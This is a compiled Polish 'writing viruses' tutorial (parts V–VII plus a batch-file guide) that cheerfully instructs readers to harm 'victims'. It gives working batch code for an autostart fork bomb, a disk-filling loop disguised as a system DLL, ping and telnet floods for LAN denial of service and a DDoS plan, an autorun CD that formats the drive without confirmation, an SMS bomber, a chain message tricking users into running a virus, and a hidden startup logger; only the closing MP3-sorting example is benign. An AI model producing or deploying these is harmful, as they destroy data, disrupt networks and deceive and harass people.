mieć gg (gadu-gadu:)).
Wystarczy ze do wirusa dopiszesz linijke:
c:\lokalizacja\gadu-gadu\gg.exe /send:"nr telefonu" /msg:"blablabla"

oczywiście nie polecam tego ludziom (zwierzakom tez nie :P)
którzy maja komórki na abonament - ponieważ gdyby ktoś się
pokapował to ze znalezieniem takiej osoby nie byłoby
problemu - chyba ze komuś udało się zdobyć jakiegoś
anonima na fałszywe nazwisko itp.

Część V

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusów Część 5
10.Jezeli chcesz aby ktoś dostawał szalu to zrób taki plik
i wrzuć do autostartu albo wczep kod do autoexec.bat

```
@echo off
:start
start plik.bat
goto start
```

Malutki, banalny pliczek a potrafi narobić
takiego zamieszania - jak się komuś uruchomi
400 procesów i zajmie mu cala pamięć (RAM) to będzie brzydko :P

11.Teraz zrobimy program-syfiarz :)

```
@echo off
regedit /e ksyf
:start
cls
type ksyf >> c:\windows\system32\syf.dll
goto start
```

opis: regedit /e ksyf tak jakby odczytuje cala zawartość
rejestru i kopiuje ja do pliku ksyf (w winXP cala treść
rejestru zajmuje 40 mb :)), następnie zawartość ksyf (40 mb) jest
kopiowana do pliku syf.dll. I tak cały czas zawartość pliku ksyf jest
dopisywana do pliku syf.dll (pętla) i co ok.3s ten plik powiększa się o
jakieś 40 mb i tak w kolko :). Po paru minutach może zająć cały dysk
(jeżeli gość ma mały dysk :P). oczywiście plik syf.dll i ksyf to mogą być
dowolne nazwy plików, jak gość jest ciemny i chcesz zrobić żeby się nie
skapował to najlepiej nazwać ten plik jakoś tak: sysdir.dll :) żeby
myślał ze ten plik jest potrzebny :)

12.Bez poczucia czasu ? :)))) :

```
@echo off
echo time 00:00 >> c:\autoexec.bat
```

echo cls >> c:\autoexec.bat

Teraz przy każdym uruchomieniu komputera ofierze
biedzie zmieniał się czas na 00:00. Oczywiście może to być tez przydatne
jak np. ktoś chce zrobić sobie licznik ile czasu spędza przed komputerem :)
Aha wiec dlatego najlepiej nie robić czasu 00:00 bo jak ofiara przypuszczalnie
usiadła przed kompem o 19:00 (wiedząc ze jest 19:00) Zobaczyła ze jest
czas 00:00, a potem spojrzała na zegarek żeby zobaczyć która jest
godzina i zobaczyła 2:15 to będzie wiedziała ze jest 21:15
(19:00 + 2:15 = 21:15) a jak powiedzmy zmienimy
czas na 16:37 to juz trudniej będzie zapamiętać ofierze o której usiadła
(jeżeli specjalnie nie zapamiętałą) i wtedy się zamota. Ale tak
W ogolę to przecież ma w domu zegarek, a jak jest gdzie indziej to
może sama ma zegarek albo ktoś inny itp. wiec to chyba tylko po to
żeby kogoś wkurzyć :))

Część VI

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusów Część 6

13.Zapychacz własnych portów: Oczywiście jest to takie tandetne
ale może się przydać :) tworzymy kilka plików (najlepiej z 6)
bat oczywiście i do każdego wpisujemy
@echo off :start telnet localhost:80 goto start

i jeszcze musimy zrobić plik start
(niech te pliki nazywają się killer1.bat killer2.bat itd.)

@echo off start killer1.bat start killer2.bat itd.

Ale po co robić tyle plików ? zróbmy jeden
plik który resztę zrobi za nas:

```
@echo off
echo @echo off >> killer.bat
echo :start >> killer.bat
echo telnet localhost 80 >> killer.bat
echo goto start >> killer.bat
cls
copy killer.bat killer2.bat
copy killer2.bat killer3.bat
copy killer3.bat killer4.bat
```

```
copy killer4.bat killer5.bat
copy killer5.bat killer6.bat
cls
start killer.bat
start killer2.bat
start killer3.bat
start killer4.bat
start killer5.bat
start killer6.bat
cls
echo ping -l 65500 -n 100 localhost >> pinger.bat
start pinger.bat
cls
```

To pinger to tylko tak dla zwady bo możliwe ze po prostu
pojawi się niebieski ekranik jeżeli wyślę się 65500.
A nawet jeśli nie to tez spowalnia komputer wiec
tak czy siak robi szkodę :)

Na pewno domyślacie się ze ofiara się skapuje ze te
pliki są uruchomione :| Nie jestem pewien (i nie mogę
teraz tego wypróbować, bo musze mieć włączony komputer)
Ale do
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run] można wrzucić linijkę aby to uruchamiała
a na końcu dopisać /HIDE czy jakoś tak (no żeby uruchamiało
pliki starter i killery np.c:\killer5.bat /HIDE) i wtedy to będzie
ukryte - jeżeli to nie działa to można spróbować /TRAY :| - ale
tez nie wiem czy działa. Ale jeśli działa to trzeba pamiętać ze
nie można zrobić tego pojedynczego pliku tylko należy zrobić
wpis dla każdego osobno żeby każdy był uruchamiany /HIDE.

Można tez wyczaić kiedy ofiara będzie ściągała jakiś
duży plik (to znaczy pogadać z nią i się spytać czy nie ma albo
czy nie będzie ściągała jakiś fajnych filmów czy coś..) I jak np. będzie
chciała ściągać w nocy to wrzucasz plik do harmonogramu i wtedy
nalewno nie ściągnie :)

Zamiast localhost można tez wpisać dowolny adres IP oraz
dowolny port. Ale zamiast tego to chyba lepiej używać innych
programów do ataku DoS typu "ICMP bomber".

Jeszcze jedno - jeżeli jesteś połączony siecią lokalna i chcesz
komuś zablokować Internet albo siec to można zrobić kilka takich plików:

```
@echo off
:start
ping -l 65500 -n 100 IP
goto start
```

I wtedy zajmie mu cale pasmo transmisyjne
(to znaczy max chyba 97%) i nie będzie mu działać
siec ani net, a po pewnym czasie zapewne komputer padnie :))))))
Oczywiście możesz jeszcze dołożyć do tego telnet IP:80 to nalewno
nie wykorzysta tych 3% i nie wejdzie na żądną stronę www. :) PS.
Jak ja testowałem to dało się maxymalnie zająć 97%. Może i Pojdzie 100% ? :)

Możesz jeszcze uniemożliwić ofierze ircowanie (jezeli uzywa mirca).
Robisz skrypt który po każdym wejściu na kanał robi ciągle ping na sobie,
albo po prostu wysyła dużą ilość textu (flooduje) i wtedy server od razu
wywala. Jak "dobrze" pojdzie to gość może mięć K-LINE
(zakaz łączenia się z serverem(ami) irca)

Jeżeli jesteś wyjątkowo paskudny :)), a twoja ofiara
łączy się przez server dostawcy albo cos takiego to możesz
zrobić żeby pingowało/telnetowało ten server i wtedy dostawca
może zerwać umowę za "naruszenie bezpieczeństwa serwera"
albo "próbę uniemożliwienia dostępu do informacji innym użytkownikom".
A jeżeli admin jest mściwy to może nawet zadzwonić na policje.
Wtedy powstanie nieźle zamieszanie :)

Za pomocą batchy możesz zrobić tez bombę do ataku DDoS.
Czyli przejść się po kumplach z LANu zrobić u każdego bomber
który ma pingować/telnetować jakiś serwer i ustawić w harmonogramie
odpowiednia godzinę. Jeżeli masz w LANie sporo komputerów
to serwer padnie :)) Jeżeli możesz sobie sam ustawiać IP internetowe to
jeszcze możesz zdjąć z serwera firewalla (to znaczy jeżeli ma jakiś szyfrowy :P)

Część VII

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusów Cześć 7

14.Teraz możemy zrobić takie świństwo, i sprawdzić
czy kolega jest uczciwy robimy tak:

1.Tworzymy taki plik do formatowania twardego dysku bez potwierdzenia
2.Tworzymy plik AUTORUN.INF : [AutoRun] open=plikformatujacy.bat
3.I te dwa pliki nagrywamy na CD

Teraz bierzemy taka płytkę, i podpisujemy ja: "Ściśle tajne,
nie wolno tego CD używać. Trzymaj łapy z daleka"

Idziemy do kumpla. Gdy będziemy wychodzili
to "przez przypadek" zostawiamy u niego ten CD.
Jeżeli będzie nieuczciwy i wścibski to po włożeniu tej
płyty sformatuje mu się dysk :))))

15.Kolejny sposób sprawdzenia uczciwości kolegi:
Nagrywamy na płytkę jakąś grę czy film (oczywiście nie wolno
robić pirackich kopii i trzeba mieć pozwolenie :PPPPPPPP
- musicalem to napisać :P). Tylko ze w jakimś folderze wczepiamy plik
readme.txt o wpisujemy : "to jest CD ****" <-- nick lub imię,
wychodzimy na dwór i "przez przypadek" zostawiamy CD kiedy
będziemy szli do domu. I sobie patrzymy czy ktoś tego nie weźmie.
Jak ktoś weźmie to wychodzimy i próbujemy zrobić taka sytuacje:
"O wiedze ze masz jakąś płytkę, co na niej jest". I teraz zależy od gościa.
Jeżeli powie ze znalazł i ze chciał się zapytać czyja jest to OK,
ale jeżeli powie ze to jego ze niedawno sobie nagrał...
To juz dalej robisz co chcesz :P (Ja Cię do przemocy
nie namawiam ;P)- najpierw oczywiście pokazujesz mu ten plik readme.txt

16.SmS bomber za pomocą batcha i gadu gadu (bardzo proste):
@echo off :start c:\progra~1\gadu-gadu\gg.exe /send:"nr telefonu" /msg:"text" goto start

ciekawe czy zadziała :)))))). życzę powodzenia :).

17. c:\windows\security\templates\hisecws.inf - tam jest taka linijka:
MaximumLogSize=10240

ciekawe co się stanie jak zmienimy na 0 ? albo 1 ? :)

18. Jest jeszcze jeden ciekawy sposób na rozprzestrzenianie
wirusa... poprzez GG. Tak sobie siedzę i się nudzę.. aż tu nagle...
Wyślij te wiadomość do 10 osób a pokażę ci się fajny filmik video...

A wiec:

@echo off
kod wirusa
cls

Wyślij te wiadomość do 10 osób, następnie wklej kod powyższego pliku
(od @echo off do cls) do pliku *.bat
(trzeba stworzyć nowy plik z końcówka bat np.
foka.bat
następnie edytuj i tam wkleić zawartość i zapisać) to wtedy...
- i tutaj jakiś kit wypisujesz. Tak samo możesz tez zrobić
przez pocztę. :))))))
Jeżeli 1 na 50 osób się wrobi to i tak będzie dobrze.

PS. Do przekonwertowania pliku *.bat

aby nie było widać jego kodu źródłowego
można użyć programu bat2exec albo można także pisać
takiego wirusa w c/c++ (system("polecenie batcha");)
Można ten text rozprzestrzeniać itp. Ale nie wolno nic zmieniać !!!

Fajne programy itp

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

PORADNIK HACKERA ;)
PRZYKŁADY PROGRAMÓW WSADOWYCH

Poradnik hackera...
Nie, no żartowałem! :)
W każdym razie ten tekst i tak będzie dosyć poważny, bo zademonstruję
Wam tutaj kilka fajnych zastosowań naszego starego DOS-a - najbardziej
hackerskiego programu. :) W tym tekście pokażę Wam, jak napisać
bardzo szybko proste programiki, nawet jeśli nie macie o tym absolutnie
pojęcia..

PRZYKŁAD PIERWSZY (EGZAMPEL LAN :)

Załóżmy, że chcesz wiedzieć, co dzieje się z kompem
podczas Twojej nieobecności. Przynajmniej, kiedy był on włączany.
Normalnie możemy zobaczyć tylko, ile czasu mamy uruchomiony Windows,
i nic poza tym. Chyba, że napiszemy sobie specjalny program.
Najpierw jednak zastanówmy się, jak sprawić by uruchamiał się on
na starcie kompa? Pewnie większa część z Was wie, co to jest autoexec.bat?
Zresztą, o nim też ostatnio pisałem. To właśnie plik wsadowy, automatycznie
wykonywany przez startującego Windowsa (lub DOS-a). Pamiętaj, żeby
nie skasować jego dotychczasowej zawartości swoim tekstem, tylko
otworzyć program w Notatniku i się dopisać. :) Jeśli jednak chcemy
lepiej ukryć naszą "przynętę", możemy skorzystać z pliku
c:\windows\winstart.bat.

Najczęściej nie mamy go od razu w systemie,
więc będziemy musieli samemu takowy utworzyć
(plik wsadowy nie system :).

Teraz przypomnijmy sobie obsługę DOS-a.
Jakie polecenia służą do sprawdzania daty i czasu?
No oczywiście DATE i TIME. Jednak jak je wałczymy, to będziemy
musieli wprowadzić nowy czas lub tylko wcisnąć ENTER, aby anulować.
Nie mówiąc już o tym, że osoba, której coś takiego się włączy na starcie,
może coś podejrzewać. :)

Na szczęście istnieje coś takiego, jak potoki.
Czyli wynik działania jednego programu przekazywany
jest drugiemu. Zakręciłem? :) Chyba nie...
Bo oto prosty przykład:

DIR C:\WINDOWS | MORE

Jeśli za pomocą DIR wyświetlimy na ekranie
zawartość folderu Windows, to, rzecz jasna, wszystkie pliki
nie zmieszczą się na monitorze. Ale program MORE wychwytuje
cały tekst i dzieli go na kolejne części.

A teraz nasz przykład:

DATE
TIME

Chcemy, aby DOS samemu wcisnął sobie Enter...
W sumie fajnie by to wyglądało, nie. ;) Wrażliwe osoby
wyskoczyłyby przez okno. :) Chodzi oczywiście o "wciśnięcie" programowe,
czyli po prostu przejście do nowej linii. Do wyświetlania tekstu służy
w DOS-ie
polecenie ECHO. Ale jak kazać mu wpisanie samego ENTERA?

Jeśli zrobimy coś takiego:

ECHO

to zamiast pustej linii zobaczymy nie interesujący nas wcale komunikat.
Ale jest pewna sztuczka:

ECHO.

Taki zapis odpowiada wyświetleniu pustego wiersza.
Oprócz kropki może to być każdy inny znak, za wyjątkiem cyfr, liter
i jeszcze paru innych. Pamiętaj, że nie można oddzielić go spacją.
No to zaczynamy:

ECHO. | DATE
ECHO. | TIME

Czemu taka, a nie odwrotna kolejność
- mógłby się ktoś zapytać? Otóż wciśnięcie ENTERA
przekazywane jest poleceniu, które na nie oczekuje (DATE, TIME).
Jasne?! ;)

No, ale to jeszcze nie koniec.
Przecież chcemy zapisać datę i godzinę do pliku.
Więc użyjemy strumienia. Nie, wcale nie znowu...
poprzednio to był potok. :) A więc strumień jest to po prostu
przekierowanie danych, zamiast na ekran, to na konkretne urządzenie.
A pod nazwą "urządzenie" kryją się: PRN - drukarka, CON - monitor
lub klawiatura, albo zwykły plik, gdy wpiszemy jego nazwę.
A robimy to tak:

ECHO. | DATE > c:\windows\dziennik.log
ECHO. | TIME > c:\windows\dziennik.log

Gdybyśmy to jednak teraz odpalili :), to okaże się,
że w pliku jest tylko godzina (bez daty).
Po prostu znak > powoduje skasowanie dotychczasowej zawartości
pliku. Ale to łatwo da się ominąć:

ECHO. | DATE >> c:\windows\dziennik.log
ECHO. | TIME >> c:\windows\dziennik.log

No i to już prawie koniec programu.
Ale jeśli naprawdę uruchamialiście te przykłady,
to pewnie zauważyliście coś niepokojącego. :)
Wszystkie użyte komendy (aż dwie :) są wyrzucane na ekran.
To można łatwo ominąć:

@ECHO OFF
ECHO. | DATE >> c:\windows\dziennik.log
ECHO. | TIME >> c:\windows\dziennik.log

Znów polecenie ECHO. Tylko z parametrem OFF,
który wyłącza wyświetlanie kodu programu na ekranie.
Gdybaliśmy wpisali między wierszami ECHO ON, to znów byśmy je wałczyli.
Teraz mogę już wyjaśnić, czemu stosujemy u góry zapis "ECHO." a nie "ECHO".
Otóż napisanie tego polecenia samego (bez parametrów) spowoduje
pokazanie się informacji, czy wyświetlanie kodu na ekran zostało wyłączone.
Jak ja to poprzednio nazwałem: "nie interesujący nas komunikat". :)

Na końcu proponuję jeszcze dodać:

ECHO ---------- >> c:\windows\dziennik.log

żeby oddzielić daty kolejnych uruchomień kompa.

Teraz już tylko zapisujemy efekt jako
c:\windows\winstart.bat i nic nikomu nie mówimy. :)

PRZYKŁAD DRUGI (EGZAMPEL CWAJ :)

Napiszemy teraz program, który przyda się
każdemu, kto lubi kolekcjonować mp3-ójki.
Oczywiście legalne, przerobione z własnych, oryginalnych płyt CD. :)))
Jeśli mamy ich dużo, to niewygodnie jest trzymać je w jednym folderze.
Możemy oczywiście każdą nową "porcję" kopiować do osobnego katalogu,
ale wtedy są one ułożone chaotycznie i trudno znaleźć interesujące nas
kawałki bez polecenia "Znajdź". Chyba, że napiszemy program, który
automatycznie skopiuje je z płyty do odpowiedniego folderu według
liter alfabetu. Oczywiście pod warunkiem, że na płycie
mamy MP3-ójki, a nie audiotracki. :) Najpierw program musi
założyć kolejne foldery. Zrobimy to za pomocą tzw. pętli:

FOR %%1 IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO MD C:\MUZYKA\%%1

Nie ma sensu tłumaczyć, co znaczą te wszystkie IN albo
DO - one po prostu muszą być. W każdym razie polecenie to
działa tak, że podstawia pod %%1 (czyli tzw. zmienną) kolejne
litery alfabetu (lub każdy inny tekst z nawiasu), a potem używa
go jako części tzw. parametru wywołania komendy MD.
A najprościej mówiąc - używa tej litery jako nazwy folderu do założenia.

No to mamy katalogi, teraz czas przystąpić do kopiowania.
Wykona je ten sam program, gdy dodamy do niego jeszcze jedno polecenie:

COPY D:\?*.mp3 C:\MUZYKA\?\?*.MP3

Tu również można było użyć pętli FOR, ale nie ma takiej potrzeby.
Zastosowaliśmy zamiast niej tzw. znaki globalne:

? - oznacza dowolny znak
* - oznacza dowolny ciąg znaków

Zobaczmy, co się dzieje: polecenie COPY kopiuje z płyty
D:\ wszystkie pliki *.mp3, zapamiętując pierwszą literę nazwy
pliku pod znakiem ?. Reszta nazwy zostaje ukryta pod gwiazdką *.
Następnie podaliśmy, gdzie skopiować plik. Program pamięta,

jaką literę zastąpiliśmy znakiem zapytania i wyszukuje odpowiedni folder.
A potem wkleja plik, zachowując całą nazwę.

Wiecie, co myślę? Z działania tego programu mogą być niezadowoleni fani grup typu 666 czy 2 Unlimited. :)
Przecież nie założyliśmy folderów nazwanych cyframi...
Na szczęście zespołów o tak zaczynających się nazwach nie ma zbyt wiele, więc możemy skopiować te mp3 od razu do katalogu C:\MUZYKA. Znów używamy w tym celu automatyzacji... ;)

FOR %%1 IN (1 2 3 4 5 6 7 8 9 0) DO COPY D:\%%1*.MP3 C:\MUZYKA

Po raz drugi zastosowaliśmy pętlę FOR.
Zauważyliście, że po MD nie podałem nazwy pliku, a jedynie samego folderu? To nic nie szkodzi - gdy nie zmieniamy nazwy pliku, DOS używa starej - i mamy mniej pisania. :)

KONIEC (THE END = D& :)

Materiały pochodzą ze strony http://hakerczat.prv.pl/faq/faqbatch.html
autor artykułu jest podany przy każdym artykule.
Twórca PDF-u byadik ***http://byadik.cba.pl***